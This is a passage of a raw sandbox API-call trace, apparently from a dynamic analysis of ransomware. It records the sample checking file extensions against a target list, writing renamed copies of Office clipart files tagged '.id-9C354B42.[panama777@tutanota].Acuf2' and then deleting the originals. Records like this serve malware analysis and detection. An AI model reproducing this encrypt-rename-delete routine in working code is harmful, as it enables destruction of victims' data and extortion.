	[0269.049] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63
	[0269.049] lstrlenW (lpString=".zip") returned 4
	[0269.049] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.049] lstrlenW (lpString=".rar") returned 4
	[0269.049] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.049] lstrlenW (lpString=".bz2") returned 4
	[0269.049] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.050] lstrlenW (lpString=".7z") returned 3
	[0269.050] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63
	[0269.050] lstrlenW (lpString=".dbf") returned 4
	[0269.050] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63
	[0269.050] lstrlenW (lpString=".1cd") returned 4
	[0269.050] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63
	[0269.050] lstrlenW (lpString=".jpg") returned 4
	[0269.050] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.244] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=73214) returned 1
	[0269.244] CloseHandle (hObject=0x378) returned 1
	[0269.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20
	[0269.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0269.322] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.322] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.324] GetLastError () returned 0x0
	[0269.324] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x11dfe, lpOverlapped=0x0) returned 1
	[0269.337] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x11e00, lpOverlapped=0x0) returned 1
	[0269.339] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.339] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.339] SetEndOfFile (hFile=0x360) returned 1
	[0269.340] CloseHandle (hObject=0x360) returned 1
	[0269.340] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.340] SetEndOfFile (hFile=0x35c) returned 1
	[0269.343] CloseHandle (hObject=0x35c) returned 1
	[0269.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 1
	[0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63
	[0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63
	[0269.344] lstrlenW (lpString=".doc") returned 4
	[0269.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.344] lstrlenW (lpString=".docx") returned 5
	[0269.344] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0269.344] lstrlenW (lpString=".pdf") returned 4
	[0269.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.344] lstrlenW (lpString=".xls") returned 4
	[0269.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.344] lstrlenW (lpString=".xlsx") returned 5
	[0269.344] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0269.344] lstrlenW (lpString=".ppt") returned 4
	[0269.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63
	[0269.344] lstrlenW (lpString=".zip") returned 4
	[0269.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.344] lstrlenW (lpString=".rar") returned 4
	[0269.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.344] lstrlenW (lpString=".bz2") returned 4
	[0269.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.344] lstrlenW (lpString=".7z") returned 3
	[0269.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63
	[0269.344] lstrlenW (lpString=".dbf") returned 4
	[0269.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63
	[0269.344] lstrlenW (lpString=".1cd") returned 4
	[0269.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63
	[0269.345] lstrlenW (lpString=".jpg") returned 4
	[0269.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.345] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=26086) returned 1
	[0269.345] CloseHandle (hObject=0x35c) returned 1
	[0269.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20
	[0269.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0269.345] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.345] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.346] GetLastError () returned 0x0
	[0269.346] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x65e6, lpOverlapped=0x0) returned 1
	[0269.476] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x65f0, lpOverlapped=0x0) returned 1
	[0269.482] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.482] WriteFile (in: hFile=0x360, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.482] SetEndOfFile (hFile=0x360) returned 1
	[0269.482] CloseHandle (hObject=0x360) returned 1
	[0269.482] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.482] SetEndOfFile (hFile=0x35c) returned 1
	[0269.485] CloseHandle (hObject=0x35c) returned 1
	[0269.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0269.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63
	[0269.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63
	[0269.485] lstrlenW (lpString=".doc") returned 4
	[0269.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.485] lstrlenW (lpString=".docx") returned 5
	[0269.485] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0269.485] lstrlenW (lpString=".pdf") returned 4
	[0269.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.485] lstrlenW (lpString=".xls") returned 4
	[0269.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.485] lstrlenW (lpString=".xlsx") returned 5
	[0269.485] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0269.485] lstrlenW (lpString=".ppt") returned 4
	[0269.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63
	[0269.486] lstrlenW (lpString=".zip") returned 4
	[0269.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.486] lstrlenW (lpString=".rar") returned 4
	[0269.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.486] lstrlenW (lpString=".bz2") returned 4
	[0269.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.486] lstrlenW (lpString=".7z") returned 3
	[0269.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63
	[0269.486] lstrlenW (lpString=".dbf") returned 4
	[0269.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63
	[0269.486] lstrlenW (lpString=".1cd") returned 4
	[0269.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63
	[0269.486] lstrlenW (lpString=".jpg") returned 4
	[0269.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.766] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.766] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0269.767] GetLastError () returned 0x0
	[0269.767] ReadFile (in: hFile=0x384, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1b11, lpOverlapped=0x0) returned 1
	[0269.817] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1b20, lpOverlapped=0x0) returned 1
	[0269.818] ReadFile (in: hFile=0x384, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.818] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.818] SetEndOfFile (hFile=0x390) returned 1
	[0269.818] CloseHandle (hObject=0x390) returned 1
	[0269.818] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.818] SetEndOfFile (hFile=0x384) returned 1
	[0269.823] CloseHandle (hObject=0x384) returned 1
	[0269.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 1
	[0269.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63
	[0269.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63
	[0269.823] lstrlenW (lpString=".doc") returned 4
	[0269.823] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.823] lstrlenW (lpString=".docx") returned 5
	[0269.823] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0269.823] lstrlenW (lpString=".pdf") returned 4
	[0269.823] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.823] lstrlenW (lpString=".xls") returned 4
	[0269.823] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.823] lstrlenW (lpString=".xlsx") returned 5
	[0269.823] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0269.823] lstrlenW (lpString=".ppt") returned 4
	[0269.824] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63
	[0269.824] lstrlenW (lpString=".zip") returned 4
	[0269.824] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.824] lstrlenW (lpString=".rar") returned 4
	[0269.824] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.824] lstrlenW (lpString=".bz2") returned 4
	[0269.824] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.824] lstrlenW (lpString=".7z") returned 3
	[0269.824] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63
	[0269.824] lstrlenW (lpString=".dbf") returned 4
	[0269.824] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63
	[0269.824] lstrlenW (lpString=".1cd") returned 4
	[0269.824] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63
	[0269.824] lstrlenW (lpString=".jpg") returned 4
	[0269.824] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.868] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.868] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.868] GetLastError () returned 0x0
	[0269.868] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1bf2, lpOverlapped=0x0) returned 1
	[0269.873] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1c00, lpOverlapped=0x0) returned 1
	[0269.874] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.874] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.874] SetEndOfFile (hFile=0x32c) returned 1
	[0269.874] CloseHandle (hObject=0x32c) returned 1
	[0269.874] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.875] SetEndOfFile (hFile=0x360) returned 1
	[0269.877] CloseHandle (hObject=0x360) returned 1
	[0269.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 1
	[0269.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63
	[0269.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63
	[0269.877] lstrlenW (lpString=".doc") returned 4
	[0269.877] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.877] lstrlenW (lpString=".docx") returned 5
	[0269.877] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0269.877] lstrlenW (lpString=".pdf") returned 4
	[0269.877] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.877] lstrlenW (lpString=".xls") returned 4
	[0269.877] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.877] lstrlenW (lpString=".xlsx") returned 5
	[0269.877] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0269.877] lstrlenW (lpString=".ppt") returned 4
	[0269.877] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63
	[0269.878] lstrlenW (lpString=".zip") returned 4
	[0269.878] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.878] lstrlenW (lpString=".rar") returned 4
	[0269.878] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.878] lstrlenW (lpString=".bz2") returned 4
	[0269.878] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.878] lstrlenW (lpString=".7z") returned 3
	[0269.878] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63
	[0269.878] lstrlenW (lpString=".dbf") returned 4
	[0269.878] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63
	[0269.878] lstrlenW (lpString=".1cd") returned 4
	[0269.878] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63
	[0269.878] lstrlenW (lpString=".jpg") returned 4
	[0269.878] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.878] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=22356) returned 1
	[0269.878] CloseHandle (hObject=0x360) returned 1
	[0269.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20
	[0269.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.879] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.879] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.879] GetLastError () returned 0x0
	[0269.879] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5754, lpOverlapped=0x0) returned 1
	[0269.889] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5760, lpOverlapped=0x0) returned 1
	[0269.890] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.890] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.890] SetEndOfFile (hFile=0x32c) returned 1
	[0269.890] CloseHandle (hObject=0x32c) returned 1
	[0269.891] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.891] SetEndOfFile (hFile=0x360) returned 1
	[0269.893] CloseHandle (hObject=0x360) returned 1
